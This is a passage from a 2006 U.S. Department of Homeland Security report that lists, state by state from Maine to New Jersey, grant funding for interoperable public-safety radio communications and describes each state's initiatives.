interoperability planning (Frequency standards). Radios are being purchased for all 49
hospitals to ensure statewide interoperability with first responders. The Maine Radio
Network Board is
awaiting a final report on
a statewide
interoperability study to
consolidate 5 separate
network systems into a
single statewide system.
Homeland Security Grant Program Allocations
$0
$2
$4
$6
$8
$10
$12
$14
$16
Interoperable
Communications Equipment
Other Interoperable
Communications Spending
Millions
FY 2003
FY 2004
FY 2005
Maine State Summary
58
State Interoperable Communications: DHS Funded Activities
May 2006
Source: 2004 and 2005 BSIR (December 05) Interoperable Communications Reports. Grant Programs Included in
this report: Citizen Corps Program (CCP), Law Enforcement Terrorism Prevention Program (LETPP), State
Homeland Security Program (SHSP), Urban Area Security Initiative (UASI), Transit Security Program (TSP),
Emergency Management Performance Grant (EMPG), Metropolitan Medical Response System (MMRS), Buffer
Zone Protection Program (BZPP), and Transit Security Grant Program (TSGP).
Note: The data contained in this report is directly gathered from information loaded into the Grants Reporting Tool
(GRT) by users as of 18 April 2006. GRT data represents the state’s planned project expenditures based on the
Initial Strategy Implementation Plan (ISIP) and the Bi-annual Strategy Implementation Report (BSIR). It does not
necessarily represent actual expenditures. Project level data was not collected for FY 2003, as such the figures
reported for Interoperable Communications Equipment Funding may not represent the entire amount of funding for
FY 2003. This information is subject to change at any moment per updates to the GRT by users.
Maryland State Summary
May 2006
State Interoperable Communications: DHS Funded Activities
59
Office of Grants and Training
Preparedness Directorate
U.S. Department of Homeland Security
Maryland Information
Interoperable Communications: DHS Funded Activities – Maryland
Homeland Security Grant Program and UASI Allocations
Interoperable
Communications Equipment
Other Interoperable
Communications Funded Activities
Total
FY 2003
$0.00
FY 2004
$22,433,839.00
$22,433,839.00
FY 2005
$9,244,620.00
$1,927,502.00
$11,172,122.00
Total
$31,678,459.00
$1,927,502.00
$33,605,961.00
Current Interoperable Communications Initiatives
• FY 2004: $4,118,924 to design and establish back-up
dispatch/communications center for Anne Arundel & Howard
Counties
• FY 2005: $1,142,773 to develop interoperable voice and data
communications systems in the Greater Baltimore area.
Homeland Security Grant Program Allocations
$0
$5
$10
$15
$20
$25
Interoperable
Communications Equipment
Other Interoperable
Communications Spending
Millions
FY 2003
FY 2004
FY 2005
Maryland State Summary
60
State Interoperable Communications: DHS Funded Activities
May 2006
Source: 2004 and 2005 BSIR (December 05) Interoperable Communications Reports. Grant Programs Included in
this report: Citizen Corps Program (CCP), Law Enforcement Terrorism Prevention Program (LETPP), State
Homeland Security Program (SHSP), Urban Area Security Initiative (UASI), Transit Security Program (TSP),
Emergency Management Performance Grant (EMPG), Metropolitan Medical Response System (MMRS), Buffer
Zone Protection Program (BZPP), and Transit Security Grant Program (TSGP).
Note: The data contained in this report is directly gathered from information loaded into the Grants Reporting Tool
(GRT) by users as of 18 April 2006. GRT data represents the state’s planned project expenditures based on the
Initial Strategy Implementation Plan (ISIP) and the Bi-annual Strategy Implementation Report (BSIR). It does not
necessarily represent actual expenditures. Project level data was not collected for FY 2003, as such the figures
reported for Interoperable Communications Equipment Funding may not represent the entire amount of funding for
FY 2003. This information is subject to change at any moment per updates to the GRT by users.
Massachusetts State Summary
May 2006
State Interoperable Communications: DHS Funded Activities
61
Office of Grants and Training
Preparedness Directorate
U.S. Department of Homeland Security
Massachusetts Information
Interoperable Communications: DHS Funded Activities – Massachusetts
Homeland Security Grant Program and UASI Allocations
Interoperable
Communications Equipment
Other Interoperable
Communications Funded Activities
Total
FY 2003
$10,024,269.07
$10,024,269.07
FY 2004
$18,565,817.81
$2,240,063.95
$20,805,881.76
FY 2005
$10,487,155.21
$3,360,000.00
$13,847,155.21
Total
$39,077,242.09
$5,600,063.95
$44,677,306.04
Current Interoperable Communications Initiatives
• Establishing the Commonwealth of
Massachusetts Fusion Center to manage
the flow of information supporting rapid
identification of emerging terrorism
threats within the Commonwealth
• Establishing four Regional Communications Centers to insure they have the technology,
frequencies, and equipment to meet local and regional needs
• Establishing an alert communications system which will provide improvements to the
overall security of the
State office buildings
and its
evacuation/emergency
response planning
Homeland Security Grant Program Allocations
$0
$2
$4
$6
$8
$10
$12
$14
$16
$18
$20
Interoperable
Communications Equipment
Other Interoperable
Communications Spending
Millions
FY 2003
FY 2004
FY 2005
RapidCom
Participant
• Boston
Massachusetts State Summary
62
State Interoperable Communications: DHS Funded Activities
May 2006
Source: 2004 and 2005 BSIR (December 05) Interoperable Communications Reports. Grant Programs Included in
this report: Citizen Corps Program (CCP), Law Enforcement Terrorism Prevention Program (LETPP), State
Homeland Security Program (SHSP), Urban Area Security Initiative (UASI), Transit Security Program (TSP),
Emergency Management Performance Grant (EMPG), Metropolitan Medical Response System (MMRS), Buffer
Zone Protection Program (BZPP), and Transit Security Grant Program (TSGP).
Note: The data contained in this report is directly gathered from information loaded into the Grants Reporting Tool
(GRT) by users as of 18 April 2006. GRT data represents the state’s planned project expenditures based on the
Initial Strategy Implementation Plan (ISIP) and the Bi-annual Strategy Implementation Report (BSIR). It does not
necessarily represent actual expenditures. Project level data was not collected for FY 2003, as such the figures
reported for Interoperable Communications Equipment Funding may not represent the entire amount of funding for
FY 2003. This information is subject to change at any moment per updates to the GRT by users.
Michigan State Summary
May 2006
State Interoperable Communications: DHS Funded Activities
63
Office of Grants and Training
Preparedness Directorate
U.S. Department of Homeland Security
Michigan Information
Interoperable Communications: DHS Funded Activities – Michigan
Homeland Security Grant Program and UASI Allocations
Interoperable
Communications Equipment
Other Interoperable
Communications Funded Activities
Total
FY 2003
$1,355,000.00
$1,355,000.00
FY 2004
$23,378,387.38
$3,375,493.48
$26,753,880.86
FY 2005
$14,655,759.53
$1,984,953.00
$16,640,712.53
Total
$39,389,146.91
$5,360,446.48
$44,749,593.39
Current Interoperable Communications Initiatives
In 1994, Michigan began the construction of an all-weather digital statewide
interoperable 2-way mobile radio communication system for use by Michigan's
public safety community. Known as the Michigan Public Safety
Communication System (MPSCS), the system was constructed to support the
communication needs of all public safety agencies in the state wishing to join
MPSCS as a member. MPSCS was designed and constructed by Motorola, one
of the industry leaders in public safety communication.
MPSCS operates in the 821 radio frequency band dedicated to public safety communication.
MPSCS is supported by a microwave backbone that controls traffic on the system and also
supports a sophisticated alarm and control system. MPSCS present design capacity will support
64,000 radio ID's and 16,000 talkgroups. MPSCS has the ability to integrate with other 800
MHZ Motorola systems (thereby expanding its capacity within the State) and to support data
sharing. For example, MPSCS is integrated with 3 sites in Livingston, Mason, Oceana, and
Kalamazoo Counties, and
systems in Monroe and Genesee
Counties, and the City of Detroit.
Additional integration projects
are underway in Berrien,
Calhoun, Ionia, St. Clair, and
Washtenaw Counties. Today
over 33,000 radios representing
800 agencies utilize MPSCS.
The Michigan Department of
Information Technology in
cooperation with the Michigan
Department of State Police,
Homeland Security Grant Program Allocations
$0
$5
$10
$15
$20
$25
Interoperable
Communications Equipment
Other Interoperable
Communications Spending
Millions
FY 2003
FY 2004
FY 2005
Michigan State Summary
64
State Interoperable Communications: DHS Funded Activities
May 2006
Communications Division, operates MPSCS. An appointed advisory board comprised of
Members and representatives of public safety advises the Governor and the Director of the
Department of Information Technology on public safety communication issues and utilization of
the MPSCS to advance interoperable communications.
Besides MPSCS, other Michigan communities are pursuing other public safety communication
options. For example, Oakland County is in the process of building a M/A-COM designed
communication system. Oakland's communication system is intended to provide interoperable
public safety communications for all public safety agencies in the County.
Utilizing the M/A-COM Opensky technology (end-to end Internet Protocol (IP) and time-
division multiple access (TDMA) airlink) Oakland's system will have following features:
• Digital and analog radio interoperability with systems of any type
• Enhanced data capability for quick download of data and graphic files
• Efficient use of radio frequencies
• GPS tracking
• Remote software reconfiguration and easy upgrades
Additionally, Oakland County and MPSCS are participating in a pilot interoperability solution
utilizing M/A-COM's Network First solution. This pilot project is ongoing.
Along with sustaining and enhancing the Michigan Public Safety Communications System,
patches and links will be identified and developed for those organizations and jurisdictions
operating on a separate system. The state is also working to analyze the capabilities of
complimentary communication and information sharing systems.
Michigan has invested $221,000,000 in the construction of the statewide public safety
communications system and is currently investing another $19,000,000 to upgrade the system to
provide data capability statewide.
The State of Michigan has been recognized by the Public Safety Wireless Network (PSWN) and
other knowledgeable industry and user groups as visionary in its 25 plus year approach to
interoperability. No other state in the country boasts such a system.
Source: 2004 and 2005 BSIR (December 05) Interoperable Communications Reports. Grant Programs Included in
this report: Citizen Corps Program (CCP), Law Enforcement Terrorism Prevention Program (LETPP), State
Homeland Security Program (SHSP), Urban Area Security Initiative (UASI), Transit Security Program (TSP),
Emergency Management Performance Grant (EMPG), Metropolitan Medical Response System (MMRS), Buffer
Zone Protection Program (BZPP), and Transit Security Grant Program (TSGP).
Note: The data contained in this report is directly gathered from information loaded into the Grants Reporting Tool
(GRT) by users as of 18 April 2006. GRT data represents the state’s planned project expenditures based on the
Initial Strategy Implementation Plan (ISIP) and the Bi-annual Strategy Implementation Report (BSIR). It does not
necessarily represent actual expenditures. Project level data was not collected for FY 2003, as such the figures
reported for Interoperable Communications Equipment Funding may not represent the entire amount of funding for
FY 2003. This information is subject to change at any moment per updates to the GRT by users.
Minnesota State Summary
May 2006
State Interoperable Communications: DHS Funded Activities
65
Office of Grants and Training
Preparedness Directorate
U.S. Department of Homeland Security
Minnesota Information
Interoperable Communications: DHS Funded Activities – Minnesota
Homeland Security Grant Program and UASI Allocations
Interoperable
Communications Equipment
Other Interoperable
Communications Funded Activities
Total
FY 2003
$24,415,173.21
$24,415,173.21
FY 2004
$33,063,296.73
$1,887,356.95
$34,950,653.68
FY 2005
$10,813,479.00
$2,607,704.00
$13,421,183.00
Total
$68,291,948.94
$4,495,060.95
$72,787,009.89
Current Interoperable Communications Initiatives
Minnesota has implemented the Allied Radio Matrix for Emergency Response
(ARMER). Aging communication infrastructure, the lack of frequencies,
interoperability across bands and interoperability across systems, add up to a critical
need to improve Minnesota's public safety communication infrastructure. The “800
MHz Executive Team Report” to the 2001 Minnesota Legislature
(www.dot.state.mn.us/oec/ statewide/statewideinfo.html) requires a coordinated
response through the development of the Statewide Public Safety Radio
Communication Plan. This communication priority is also reflected in Minnesota's
2004 Homeland Security Strategy and Assessment, Goal 7: "Implement a statewide system of
Interoperable communication for local and state resources to be more effective and efficient in ensuring
the safety of the citizens and emergency responders in Minnesota."
Statewide Public Safety Radio Communication Plan
The objective of this goal is to provide for the planning and development of a statewide interoperable
trunked radio system to replace the existing diverse and antiquated analog communication systems. This
plan provides for a phased statewide development of the radio system infrastructure. The plan calls for six
phases, with Phase 1 covering the
initial backbone construction in the
seven county metropolitan area plus
Chisago and Isanti counties. Phase 2
included local enhancements to the
initial backbone in the seven county
metropolitan area.
Phases of Development
Phase 1 – Basic communication
backbone and interoperability
infrastructure completed December
2002, which included local
enhancements to Carver County,
Homeland Security Grant Program Allocations
$0
$5
$10
$15
$20
$25
$30
$35
Interoperable
Communications Equipment
Other Interoperable
Communications Spending
Millions
FY 2003
FY 2004
FY 2005
Minnesota State Summary
66
State Interoperable Communications: DHS Funded Activities
May 2006
Minneapolis and portions of Hennepin County.
Phase 2 – Additional local enhancements to Phase 1 backbone.
Phase 3 – St. Cloud and Rochester State Patrol districts.
Phase 4 – Brainerd and Duluth State Patrol districts.
Phase 5 – Marshall, Mankato and Detroit Lakes State Patrol districts.
Phase 6 – Thief River Falls State Patrol district.
ARMER Governance Structure
•
With the completion of the Phase 1 backbone in the metropolitan area, there was a need to shift
from a regional to a statewide emphasis. The 2004 Minnesota Legislature created the Statewide
Radio Board (SRB) out of the Statewide Public Safety Radio and Communication Planning
Committee. The SRB is composed of twenty-one members, including the following:
•
Commissioner of Public Safety – Chair
•
Commissioner of Transportation
•
Commissioner of Natural Resources
•
Commissioner of Administration
•
Commissioner of Health
•
Commissioner of Finance
•
Chief of the Minnesota State Patrol
•
Chair of the Metropolitan Emergency Services Board
•
A regional radio board representative
•
Local officials as follows (one from metro and one from greater Minnesota):
•
Two elected city officials
•
Two elected county officials
•
Two sheriffs
•
Two chiefs of police
•
Two fire chiefs
•
Two emergency medical service providers
Currently, approximately 87 percent of public safety officials (based upon population covered) in the
metropolitan area are operating on the regional interoperable radio system. The transition of Dakota and
Ramsey counties to the regional system will bring the local commitment for infrastructure to $59.2
million. The percentage of public safety officials operating on the system will increase with the addition
of Dakota County in 2006. With the allocation of $45 million to the continued expansion of a statewide
interoperable communication system, the Statewide Radio Board, the Department of Public Safety and
the Department of Transportation are formulating their construction plans.
Source: 2004 and 2005 BSIR (December 05) Interoperable Communications Reports. Grant Programs Included in
this report: Citizen Corps Program (CCP), Law Enforcement Terrorism Prevention Program (LETPP), State
Homeland Security Program (SHSP), Urban Area Security Initiative (UASI), Transit Security Program (TSP),
Emergency Management Performance Grant (EMPG), Metropolitan Medical Response System (MMRS), Buffer
Zone Protection Program (BZPP), and Transit Security Grant Program (TSGP).
Note: The data contained in this report is directly gathered from information loaded into the Grants Reporting Tool
(GRT) by users as of 18 April 2006. GRT data represents the state’s planned project expenditures based on the
Initial Strategy Implementation Plan (ISIP) and the Bi-annual Strategy Implementation Report (BSIR). It does not
necessarily represent actual expenditures. Project level data was not collected for FY 2003, as such the figures
reported for Interoperable Communications Equipment Funding may not represent the entire amount of funding for
FY 2003. This information is subject to change at any moment per updates to the GRT by users.
Mississippi State Summary
May 2006
State Interoperable Communications: DHS Funded Activities
67
Office of Grants and Training
Preparedness Directorate
U.S. Department of Homeland Security
Mississippi Information
Interoperable Communications: DHS Funded Activities – Mississippi
Homeland Security Grant Program and UASI Allocations
Interoperable
Communications Equipment
Other Interoperable
Communications Funded Activities
Total
FY 2003
$1,062,059.34
$1,062,059.34
FY 2004
$5,378,438.20
$205,229.00
$5,583,667.20
FY 2005
$4,992,326.44
$1,201,375.85
$6,193,702.29
Total
$11,432,823.98
$1,406,604.85
$12,839,428.83
Current Interoperable Communications Initiatives
•
$1.5 M in FY 2004 HSGP funds are being used to establish the Global
Security System (GSS Net) First Alert System. The contract was
awarded to the Mississippi-based company, Global Security Systems
Network, to create the alert system that broadcasts a digital text message
through FM frequencies to emergency responders during times of crisis.
The project is managed by the University of Mississippi, and the MS
Public Broadcasting agreed to partner on this initiative by providing the
use of their tower network as the backbone for the State-wide alert system.
•
Also, the MS Office of Homeland Security intends to allocate HSGP funds to the
following project, although the funding amount has not yet been determined. The intent
is to partner with the MS Automated System Project to make significant upgrades to
public safety information and communication infrastructure. This will enhance the
ability of the first responder community in accessing much needed applications such as
Jail Management, Records Management or Computer Aided Dispatch. Through these
tools, first responders
will have instant access
to information such as
arrest warrants, mug
shots, criminal data,
HAZMAT data and
medical emergency
protocols. It will help
facilitate regional
information while at the
same time enabling data
ownership and control
by each agency.
Homeland Security Grant Program Allocations
$0
$1
$2
$3
$4
$5
$6
Interoperable
Communications Equipment
Other Interoperable
Communications Spending
Millions
FY 2003
FY 2004
FY 2005
Mississippi State Summary
68
State Interoperable Communications: DHS Funded Activities
May 2006
Source: 2004 and 2005 BSIR (December 05) Interoperable Communications Reports. Grant Programs Included in
this report: Citizen Corps Program (CCP), Law Enforcement Terrorism Prevention Program (LETPP), State
Homeland Security Program (SHSP), Urban Area Security Initiative (UASI), Transit Security Program (TSP),
Emergency Management Performance Grant (EMPG), Metropolitan Medical Response System (MMRS), Buffer
Zone Protection Program (BZPP), and Transit Security Grant Program (TSGP).
Note: The data contained in this report is directly gathered from information loaded into the Grants Reporting Tool
(GRT) by users as of 18 April 2006. GRT data represents the state’s planned project expenditures based on the
Initial Strategy Implementation Plan (ISIP) and the Bi-annual Strategy Implementation Report (BSIR). It does not
necessarily represent actual expenditures. Project level data was not collected for FY 2003, as such the figures
reported for Interoperable Communications Equipment Funding may not represent the entire amount of funding for
FY 2003. This information is subject to change at any moment per updates to the GRT by users.
Missouri State Summary
May 2006
State Interoperable Communications: DHS Funded Activities
69
Office of Grants and Training
Preparedness Directorate
U.S. Department of Homeland Security
Missouri Information
Interoperable Communications: DHS Funded Activities – Missouri
Homeland Security Grant Program and UASI Allocations
Interoperable
Communications Equipment
Other Interoperable
Communications Funded Activities
Total
FY 2003
$5,894,550.12
$5,894,550.12
FY 2004
$20,621,070.83
$2,802,150.44
$23,423,221.27
FY 2005
$23,328,400.15
$1,933,868.00
$25,262,268.15
Total
$49,844,021.10
$4,736,018.44
$54,580,039.54
Current Interoperable Communications Initiatives
Enhancement of the state interoperable communication capabilities continues to be a
state priority. A statewide interoperable communications plan is being developed by
the Missouri State Highway Patrol (MSHP) under the direction of the Homeland
Security Advisory Council (HSAC) and the State Interoperable Executive Committee
(SIEC). This baseline plan will be used as a baseline for the development of
Interoperable Communications Plans in the nine Missouri Homeland Security
Regions. It is anticipated that this planning effort will be completed by the end of
FY2006. Over the past two years over $13.7 million was competitively awarded to local jurisdictions in
Missouri for the improvement and enhancements of their interoperable communications efforts under
direction of the HSAC and SEIC. The award process involving a peer review committee (including
members of the SIEC and other communication experts) resulted in awarding funds to 347 jurisdictions
across the State. Additionally grants were awarded to Independence, Missouri and the City of St. Louis
for the installation of interoperable communication switches.
The St. Louis Urban Area has implemented a Swap (Cache) Radios system. “Swapping radios” refers to
maintaining a cache of standby radios that can be deployed to support regional incidents. These radios
may be from a regional cache, or
from a participating agency. This
allows all responders to use a
common, compatible set of radios
during an incident. Additionally
they have Shared Channels,
“Shared channels” refer to
common channels that have been
established within the region,
within each respective state, or by
local agreement. Such channels
are programmed into radios to
provide interoperable
communications among agencies.
Homeland Security Grant Program Allocations
$0
$5
$10
$15
$20
$25
Interoperable
Communications Equipment
Other Interoperable
Communications Spending
Millions
FY 2003
FY 2004
FY 2005
Missouri State Summary
70
State Interoperable Communications: DHS Funded Activities
May 2006
St. Louis has also instituted a system of “Gateway,” or matrix systems interconnect channels of different
systems (whether on different bands, modes or proprietary platforms), allowing first responders to use
their existing radios and channels to be interconnected with the channels of other users outside of their
agency
Kansas City Urban Area: The Mid-America Regional Council (MARC) Regional Interoperability
Committee oversaw the preparation of an assessment and interoperable communications plan for the
Kansas City metro area in 2004. Law enforcement, fire, emergency medical service, state and federal
agencies are working together to enhance interoperable public safety communications through
implementation of the multi-phase Regional Interoperability Plan. The Regional Interoperability Plan
guides homeland security investments to expand and enhance inter-agency coordination and
communications. The objective of the plan is to outline resources and process for our region to achieve
the optimum levels of interoperability as defined in the SAFECOM Interoperability Continuum. The
FY06 UASI funding request includes support for design of a regional mobile data sharing system.
Source: 2004 and 2005 BSIR (December 05) Interoperable Communications Reports. Grant Programs Included in
this report: Citizen Corps Program (CCP), Law Enforcement Terrorism Prevention Program (LETPP), State
Homeland Security Program (SHSP), Urban Area Security Initiative (UASI), Transit Security Program (TSP),
Emergency Management Performance Grant (EMPG), Metropolitan Medical Response System (MMRS), Buffer
Zone Protection Program (BZPP), and Transit Security Grant Program (TSGP).
Note: The data contained in this report is directly gathered from information loaded into the Grants Reporting Tool
(GRT) by users as of 18 April 2006. GRT data represents the state’s planned project expenditures based on the
Initial Strategy Implementation Plan (ISIP) and the Bi-annual Strategy Implementation Report (BSIR). It does not
necessarily represent actual expenditures. Project level data was not collected for FY 2003, as such the figures
reported for Interoperable Communications Equipment Funding may not represent the entire amount of funding for
FY 2003. This information is subject to change at any moment per updates to the GRT by users.
Montana State Summary
May 2006
State Interoperable Communications: DHS Funded Activities
71
Office of Grants and Training
Preparedness Directorate
U.S. Department of Homeland Security
Montana Information
Interoperable Communications: DHS Funded Activities – Montana
Homeland Security Grant Program and UASI Allocations
Interoperable
Communications Equipment
Other Interoperable
Communications Funded Activities
Total
FY 2003
$0.00
FY 2004
$16,131,122.77
$1,604,302.59
$17,735,425.36
FY 2005
$10,011,848.00
$1,323,315.00
$11,335,163.00
Total
$26,142,970.77
$2,927,617.59
$29,070,588.36
Current Interoperable Communications Initiatives
•
The Montana All Threats Intelligence Center (MATIC) and JTTF were
established last year providing real-time informatics within the state and
throughout the region.
•
Montana State-wide Interoperability Communication Projects has been
underway for just over one year. This project will provide an effective,
reliable interoperable communications through three key elements: 1)
trunked/conventional VHF radio system connecting local, state, tribal and federal response
agencies across Montana; 2) An integrated mobile data system supports field transmission of data
to responders; 3) Statewide enhanced 9-1-1 providing wire line and wireless connection from the
public to the response community.
•
The current systems are being designed and coordinated through local stakeholder leadership
across the state. The system designs are consistent with the state with in the region as in South
Dakota and Wyoming, providing wide regional interoperability opportunities across state
boundaries.
•
The Digital Trunked Voice Radio System “backbone” and system is one of the highest priorities
for the State of Montana
with regards to homeland
security initiatives,
meeting National and
Target Capabilities.
•
Montana has dedicated 90-
100% of its IC funding to
the expansion,
enhancement,
maintenance, training and
exercising the State-wide
system.
Homeland Security Grant Program Allocations
$0
$2
$4
$6
$8
$10
$12
$14
$16
$18
Interoperable
Communications Equipment
Other Interoperable
Communications Spending
Millions
FY 2003
FY 2004
FY 2005
Montana State Summary
72
State Interoperable Communications: DHS Funded Activities
May 2006
Source: 2004 and 2005 BSIR (December 05) Interoperable Communications Reports. Grant Programs Included in
this report: Citizen Corps Program (CCP), Law Enforcement Terrorism Prevention Program (LETPP), State
Homeland Security Program (SHSP), Urban Area Security Initiative (UASI), Transit Security Program (TSP),
Emergency Management Performance Grant (EMPG), Metropolitan Medical Response System (MMRS), Buffer
Zone Protection Program (BZPP), and Transit Security Grant Program (TSGP).
Note: The data contained in this report is directly gathered from information loaded into the Grants Reporting Tool
(GRT) by users as of 18 April 2006. GRT data represents the state’s planned project expenditures based on the
Initial Strategy Implementation Plan (ISIP) and the Bi-annual Strategy Implementation Report (BSIR). It does not
necessarily represent actual expenditures. Project level data was not collected for FY 2003, as such the figures
reported for Interoperable Communications Equipment Funding may not represent the entire amount of funding for
FY 2003. This information is subject to change at any moment per updates to the GRT by users.
Nebraska State Summary
May 2006
State Interoperable Communications: DHS Funded Activities
73
Office of Grants and Training
Preparedness Directorate
U.S. Department of Homeland Security
Nebraska Information
Interoperable Communications: DHS Funded Activities – Nebraska
Homeland Security Grant Program and UASI Allocations
Interoperable
Communications Equipment
Other Interoperable
Communications Funded Activities
Total
FY 2003
$150,290.00
$150,290.00
FY 2004
$18,858,680.00
$636,349.00
$19,495,029.00
FY 2005
$15,520,876.00
$1,029,070.00
$16,549,946.00
Total
$34,529,846.00
$1,665,419.00
$36,195,265.00
Current Interoperable Communications Initiatives
• NE is achieving communication interoperability by first
establishing regional communication systems and then by
integrating those systems to provide statewide interoperability.
All 93 Nebraska counties are organized into regional areas, which
has allowed the state to set communication benchmarks.
Nebraska has allocated $42 million in grant funds from FY99-FY05 towards
interoperable communications. This amount equals 66.82% of Nebraska’s overall
funding, with 83% of FY04 funds and 85% of FY05 funds dedicated to interoperable
communications. Projects include the replacement and updating of aging
communications equipment, communication tower assessments, and a frequency study.
• The South Sioux City Information Sharing Project utilized $457,226.00 towards an
Internet and broadband, Non-Line-of-Sight wireless network that covers the entire
geographic area of South
Sioux City, NE. The
project also provides
coverage into neighboring
Nebraska, South Dakota
and Iowa communities.
This is the first time that a
Nebraska community will
have a wireless
communications network
for all possible mobile
data communication
needs. The wireless
network was constructed
Homeland Security Grant Program Allocations
$0
$2
$4
$6
$8
$10
$12
$14
$16
$18
$20
Interoperable
Communications Equipment
Other Interoperable
Communications Spending
Millions
FY 2003
FY 2004
FY 2005
Nebraska State Summary
74
State Interoperable Communications: DHS Funded Activities
May 2006
and is operated as part of a public/private partnership between the City of South Sioux
City, NE and Evertek Inc. City owned fiber optics have been used to provide the
backbone for the City’s wireless system. This is a highly effective system utilized by two
911 Centers, police and fire departments and various state and local agencies.
Source: 2004 and 2005 BSIR (December 05) Interoperable Communications Reports. Grant Programs Included in
this report: Citizen Corps Program (CCP), Law Enforcement Terrorism Prevention Program (LETPP), State
Homeland Security Program (SHSP), Urban Area Security Initiative (UASI), Transit Security Program (TSP),
Emergency Management Performance Grant (EMPG), Metropolitan Medical Response System (MMRS), Buffer
Zone Protection Program (BZPP), and Transit Security Grant Program (TSGP).
Note: The data contained in this report is directly gathered from information loaded into the Grants Reporting Tool
(GRT) by users as of 18 April 2006. GRT data represents the state’s planned project expenditures based on the
Initial Strategy Implementation Plan (ISIP) and the Bi-annual Strategy Implementation Report (BSIR). It does not
necessarily represent actual expenditures. Project level data was not collected for FY 2003, as such the figures
reported for Interoperable Communications Equipment Funding may not represent the entire amount of funding for
FY 2003. This information is subject to change at any moment per updates to the GRT by users.
Nevada State Summary
May 2006
State Interoperable Communications: DHS Funded Activities
75
Office of Grants and Training
Preparedness Directorate
U.S. Department of Homeland Security
Nevada Information
Interoperable Communications: DHS Funded Activities – Nevada
Homeland Security Grant Program and UASI Allocations
Interoperable
Communications Equipment
Other Interoperable
Communications Funded Activities
Total
FY 2003
$0.00
FY 2004
$18,743,449.74
$932,611.00
$19,676,060.74
FY 2005
$4,924,662.00
$4,924,662.00
Total
$23,668,111.74
$932,611.00
$24,600,722.74
Current Interoperable Communications Initiatives
Interoperable communications equipment expenditures were the top priorities for
Clark County (and the included southern Nevada cities) for the 04 grant program.
Approximately $4.5M (SHSP) was allocated to Las Vegas Metropolitan Police
Department (Metro) to migrate some 5,000 public safety users from a conventional
VHF system to a 700MHz trunking system. The result will enable Metro to be
interoperable with Las Vegas and Clark County fire departments, North Las Vegas, Henderson,
and University Police Departments and state agencies like the Highway Patrol, Department of
Transportation as well as agencies located in the north part of the state.
Additionally, some $1.1M (SHSP) was prioritized to allow dispatch centers to be connected
together to enhance the region’s ability for back-up communication should a dispatch center
become inoperable for any reason.
$1.3M (SHSP) was allocated for
the City of North Las Vegas for
their communications upgrades
to ensure compatibility with the
surrounding public safety
agencies.
And, $2.3M (SHSP) was also
allocated for microwave
communications system
expansion efforts to ensure
effective communications
throughout the region.
Homeland Security Grant Program Allocations
$0
$2
$4
$6
$8
$10
$12
$14
$16
$18
$20
Interoperable
Communications Equipment
Other Interoperable
Communications Spending
Millions
FY 2003
FY 2004
FY 2005
Nevada State Summary
76
State Interoperable Communications: DHS Funded Activities
May 2006
Similar expenses were top priorities with the LETPP and UASI funding as well, including $2M
(LETPP) for replacement of the outdated VHF transceivers, $2.8M (UASI) for wide-area
seamless roaming coverage, and $2.4M (UASI) to purchase equipment to ensure the City of
North Las Vegas will be compatible with other state and local entities.
For 05, interoperable radio equipment purchases were fewer in number and cost. Even so there
were still a few large projects for southern Nevada including $1.8M (SHSP) for the City of
Boulder City to achieve interoperability with the surrounding jurisdictions by replacing their old
VHF system with an APCO 25 compliant 800 MHz system.
Continuing microwave expansion projects for the southern region were also supported by an
additional $700K in (SHSP) funding.
Numerous smaller communities also used their funding to improve and/or upgrade their
communications systems.
Source: 2004 and 2005 BSIR (December 05) Interoperable Communications Reports. Grant Programs Included in
this report: Citizen Corps Program (CCP), Law Enforcement Terrorism Prevention Program (LETPP), State
Homeland Security Program (SHSP), Urban Area Security Initiative (UASI), Transit Security Program (TSP),
Emergency Management Performance Grant (EMPG), Metropolitan Medical Response System (MMRS), Buffer
Zone Protection Program (BZPP), and Transit Security Grant Program (TSGP).
Note: The data contained in this report is directly gathered from information loaded into the Grants Reporting Tool
(GRT) by users as of 18 April 2006. GRT data represents the state’s planned project expenditures based on the
Initial Strategy Implementation Plan (ISIP) and the Bi-annual Strategy Implementation Report (BSIR). It does not
necessarily represent actual expenditures. Project level data was not collected for FY 2003, as such the figures
reported for Interoperable Communications Equipment Funding may not represent the entire amount of funding for
FY 2003. This information is subject to change at any moment per updates to the GRT by users.
New Hampshire State Summary
May 2006
State Interoperable Communications: DHS Funded Activities
77
Office of Grants and Training
Preparedness Directorate
U.S. Department of Homeland Security
New Hampshire Information
Interoperable Communications: DHS Funded Activities – New Hampshire
Homeland Security Grant Program and UASI Allocations
Interoperable
Communications Equipment
Other Interoperable
Communications Funded Activities
Total
FY 2003
$0.00
FY 2004
$14,973,022.00
$86,006.00
$15,059,028.00
FY 2005
$5,877,620.45
$90,000.00
$5,967,620.45
Total
$20,850,642.45
$176,006.00
$21,026,648.45
Current Interoperable Communications Initiatives
• FY 2004: $11.2 million to upgrade interoperable communications statewide.
• FY 2005: $4.5 million to upgrade multi-discipline interoperable
communications statewide.
• Summary: Interoperable communications is the number one project in New
Hampshire. Both the state and locals have invested the majority of their G & T
funding into their statewide interoperability project. Modeled after the state’s
successful LAWNET program, which created statewide interoperability for law
enforcement, the current project is bringing both fire and EMS onto that system creating
statewide interoperability
between those three
disciplines.
Homeland Security Grant Program Allocations
$0
$2
$4
$6
$8
$10
$12
$14
$16
Interoperable
Communications Equipment
Other Interoperable
Communications Spending
Millions
FY 2003
FY 2004
FY 2005
New Hampshire State Summary
78
State Interoperable Communications: DHS Funded Activities
May 2006
Source: 2004 and 2005 BSIR (December 05) Interoperable Communications Reports. Grant Programs Included in
this report: Citizen Corps Program (CCP), Law Enforcement Terrorism Prevention Program (LETPP), State
Homeland Security Program (SHSP), Urban Area Security Initiative (UASI), Transit Security Program (TSP),
Emergency Management Performance Grant (EMPG), Metropolitan Medical Response System (MMRS), Buffer
Zone Protection Program (BZPP), and Transit Security Grant Program (TSGP).
Note: The data contained in this report is directly gathered from information loaded into the Grants Reporting Tool
(GRT) by users as of 18 April 2006. GRT data represents the state’s planned project expenditures based on the
Initial Strategy Implementation Plan (ISIP) and the Bi-annual Strategy Implementation Report (BSIR). It does not
necessarily represent actual expenditures. Project level data was not collected for FY 2003, as such the figures
reported for Interoperable Communications Equipment Funding may not represent the entire amount of funding for
FY 2003. This information is subject to change at any moment per updates to the GRT by users.
New Jersey State Summary
May 2006
State Interoperable Communications: DHS Funded Activities
79
Office of Grants and Training
Preparedness Directorate
U.S. Department of Homeland Security
New Jersey Information
Interoperable Communications: DHS Funded Activities – New Jersey
Homeland Security Grant Program and UASI Allocations
Interoperable
Communications Equipment
Other Interoperable
Communications Funded Activities
Total
FY 2003
$93,000.00
$93,000.00
FY 2004
$20,868,923.44
$3,333,108.37
$24,202,031.81
FY 2005
$9,385,087.53
